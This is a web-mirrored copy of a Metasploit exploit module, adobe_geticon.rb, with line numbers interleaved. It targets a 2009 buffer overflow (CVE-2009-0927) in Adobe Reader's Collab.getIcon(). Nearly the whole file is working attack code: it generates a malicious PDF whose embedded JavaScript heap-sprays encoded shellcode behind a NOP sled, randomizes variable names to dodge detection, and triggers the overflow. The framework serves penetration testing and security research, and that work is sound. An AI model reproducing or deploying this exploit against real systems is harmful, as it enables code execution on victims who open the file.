Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/fileformat/adobe_geticon.rb
19534 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'zlib'
7
8
class MetasploitModule < Msf::Exploit::Remote
9
Rank = GoodRanking
10
11
include Msf::Exploit::FILEFORMAT
12
include Msf::Exploit::PDF
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'Adobe Collab.getIcon() Buffer Overflow',
19
'Description' => %q{
20
This module exploits a buffer overflow in Adobe Reader and Adobe Acrobat.
21
Affected versions include < 7.1.1, < 8.1.3, and < 9.1. By creating a specially
22
crafted pdf that a contains malformed Collab.getIcon() call, an attacker may
23
be able to execute arbitrary code.
24
},
25
'License' => MSF_LICENSE,
26
'Author' => [
27
'MC',
28
'Didier Stevens <didier.stevens[at]gmail.com>',
29
'jduck'
30
],
31
'References' => [
32
[ 'CVE', '2009-0927' ],
33
[ 'OSVDB', '53647' ],
34
[ 'ZDI', '09-014' ],
35
],
36
'DefaultOptions' => {
37
'EXITFUNC' => 'process',
38
'DisablePayloadHandler' => true
39
},
40
'Payload' => {
41
'Space' => 1024,
42
'BadChars' => "\x00",
43
},
44
'Platform' => 'win',
45
'Targets' => [
46
# test results (on Windows XP SP3)
47
# reader 7.0.5 - no trigger
48
# reader 7.0.8 - no trigger
49
# reader 7.0.9 - no trigger
50
# reader 7.1.0 - no trigger
51
# reader 7.1.1 - reported not vulnerable
52
# reader 8.0.0 - works
53
# reader 8.1.2 - works
54
# reader 8.1.3 - reported not vulnerable
55
# reader 9.0.0 - works
56
# reader 9.1.0 - reported not vulnerable
57
[ 'Adobe Reader Universal (JS Heap Spray)', { 'Ret' => '' } ],
58
],
59
'DisclosureDate' => '2009-03-24',
60
'DefaultTarget' => 0,
61
'Notes' => {
62
'Reliability' => UNKNOWN_RELIABILITY,
63
'Stability' => UNKNOWN_STABILITY,
64
'SideEffects' => UNKNOWN_SIDE_EFFECTS
65
}
66
)
67
)
68
69
register_options(
70
[
71
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
72
]
73
)
74
end
75
76
def exploit
77
# Encode the shellcode.
78
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
79
80
# Make some nops
81
nops = Rex::Text.to_unescape(make_nops(4))
82
83
# Randomize variables
84
rand1 = rand_text_alpha(rand(100) + 1)
85
rand2 = rand_text_alpha(rand(100) + 1)
86
rand3 = rand_text_alpha(rand(100) + 1)
87
rand4 = rand_text_alpha(rand(100) + 1)
88
rand5 = rand_text_alpha(rand(100) + 1)
89
rand6 = rand_text_alpha(rand(100) + 1)
90
rand7 = rand_text_alpha(rand(100) + 1)
91
rand8 = rand_text_alpha(rand(100) + 1)
92
rand9 = rand_text_alpha(rand(100) + 1)
93
rand10 = rand_text_alpha(rand(100) + 1)
94
rand11 = rand_text_alpha(rand(100) + 1)
95
rand12 = rand_text_alpha(rand(100) + 1)
96
97
script = %Q|
98
var #{rand1} = unescape("#{shellcode}");
99
var #{rand2} ="";
100
for (#{rand3}=128;#{rand3}>=0;--#{rand3}) #{rand2} += unescape("#{nops}");
101
#{rand4} = #{rand2} + #{rand1};
102
#{rand5} = unescape("#{nops}");
103
#{rand6} = 20;
104
#{rand7} = #{rand6}+#{rand4}.length
105
while (#{rand5}.length<#{rand7}) #{rand5}+=#{rand5};
106
#{rand8} = #{rand5}.substring(0, #{rand7});
107
#{rand9} = #{rand5}.substring(0, #{rand5}.length-#{rand7});
108
while(#{rand9}.length+#{rand7} < 0x40000) #{rand9} = #{rand9}+#{rand9}+#{rand8};
109
#{rand10} = new Array();
110
for (#{rand11}=0;#{rand11}<1450;#{rand11}++) #{rand10}[#{rand11}] = #{rand9} + #{rand4};
111
var #{rand12} = unescape("%0a");
112
while(#{rand12}.length < 0x4000) #{rand12}+=#{rand12};
113
#{rand12} = "N."+#{rand12};
114
Collab.getIcon(#{rand12});
115
|
116
117
# Create the pdf
118
# pdf = make_pdf(script)
119
pdf = create_pdf(script)
120
print_status("Creating '#{datastore['FILENAME']}' file...")
121
122
file_create(pdf)
123
end
124
end
125
126